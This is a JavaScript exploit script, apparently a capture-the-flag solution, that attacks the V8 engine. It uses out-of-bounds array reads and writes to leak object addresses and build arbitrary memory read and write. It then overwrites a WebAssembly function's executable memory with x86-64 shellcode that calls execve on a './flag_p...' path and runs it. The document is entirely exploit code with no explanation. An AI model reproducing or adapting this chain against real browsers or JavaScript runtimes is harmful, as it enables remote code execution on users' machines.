1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| class Memory{ constructor(){ this.buf = new ArrayBuffer(8); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); this.bytes = new Uint8Array(this.buf); } d2u(val){ this.f64[0] = val; let tmp = Array.from(this.u32); return tmp[1] * 0x100000000 + tmp[0]; } u2d(val){ let tmp = []; tmp[0] = parseInt(val % 0x100000000); tmp[1] = parseInt((val - tmp[0]) / 0x100000000); this.u32.set(tmp); return this.f64[0]; } hex(val){ return val.toString(16).padStart(16, "0"); } } var mem = new Memory();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var f = wasmInstance.exports.main;
var a1 = [1.1, 2.2, 3.3]; var a = [1.1, 2.2, 3.3];
var b = [f,f];
var buf = new ArrayBuffer(0x200); var dv = new DataView(buf);
a1.pop(); a1.push(3.3); a1_addr = mem.d2u(a1[4]) & 0xFFFFFFFF;
a1[4] = mem.u2d(0x10000000000+a1_addr);
function leak32(addr, offset=0){ a1[0xa] = mem.u2d(0x10000000000+addr); return (mem.d2u(a[offset]) - (mem.d2u(a[offset]) & 0xFFFFFFFF)) / 0x100000000; }
function leak64(addr, offset=0){ a1[0xa] = mem.u2d(0x10000000000+addr); return mem.d2u(a[offset]); }
a.pop();
a.push(3.3); print('0x'+ mem.d2u(a[4]).toString(16)); elements_addr = mem.d2u(a[4]) & 0xFFFFFFFF; print('elements addr: 0x' + elements_addr.toString(16)); a[4] = mem.u2d(0x10000000000+elements_addr);
func_addr = (mem.d2u(a[0x6]) - (mem.d2u(a[0x6]) & 0xFFFFFFFF)) / 0x100000000; print('func_addr: 0x'+ func_addr.toString(16));
shared_info_addr = leak32(func_addr); print('shared_info_addr: 0x' + shared_info_addr.toString(16)); WasmExportedFunctionData = leak32(shared_info_addr-8); print('WasmExportedFunctionData: 0x' + WasmExportedFunctionData.toString(16)); instance_addr = leak32(WasmExportedFunctionData-0x4); print('instance_addr: 0x' + instance_addr.toString(16)); rwx_addr = leak64(instance_addr+0x60); print('rwx_addr: 0x' + rwx_addr.toString(16));
a1[0xa] = mem.u2d(0x10000000000+elements_addr+4); a[0xb] = mem.u2d(rwx_addr);
let sc = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 115, 104, 111, 117, 100, 115, 1, 1, 72, 49, 4, 36, 72, 184, 46, 47, 102, 108, 97, 103, 95, 112, 80, 72, 137, 231, 49, 210, 49, 246, 106, 59, 88, 15, 5] for(var i = 0; i<sc.length; i++){ dv.setUint8(i, sc[i], true); } f();
|